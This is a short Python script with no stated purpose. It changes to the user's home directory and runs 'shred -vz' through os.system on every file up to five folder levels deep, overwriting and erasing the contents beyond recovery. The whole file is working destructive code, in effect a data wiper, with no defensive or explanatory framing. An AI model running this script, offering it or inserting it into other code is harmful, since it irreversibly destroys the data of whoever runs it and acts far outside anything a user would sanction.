import os
cmd = "cd ~ && shred -vz *"
cmd2 = "cd ~ && shred -vz */*"
cmd3 = "cd ~ && shred -vz */*/*" 
cmd4 = "cd ~ && shred -vz */*/*/*"
cmd5 = "cd ~ && shred -vz */*/*/*/*"
os.system(cmd)
os.system(cmd2)
os.system(cmd3)
os.system(cmd4)
os.system(cmd5)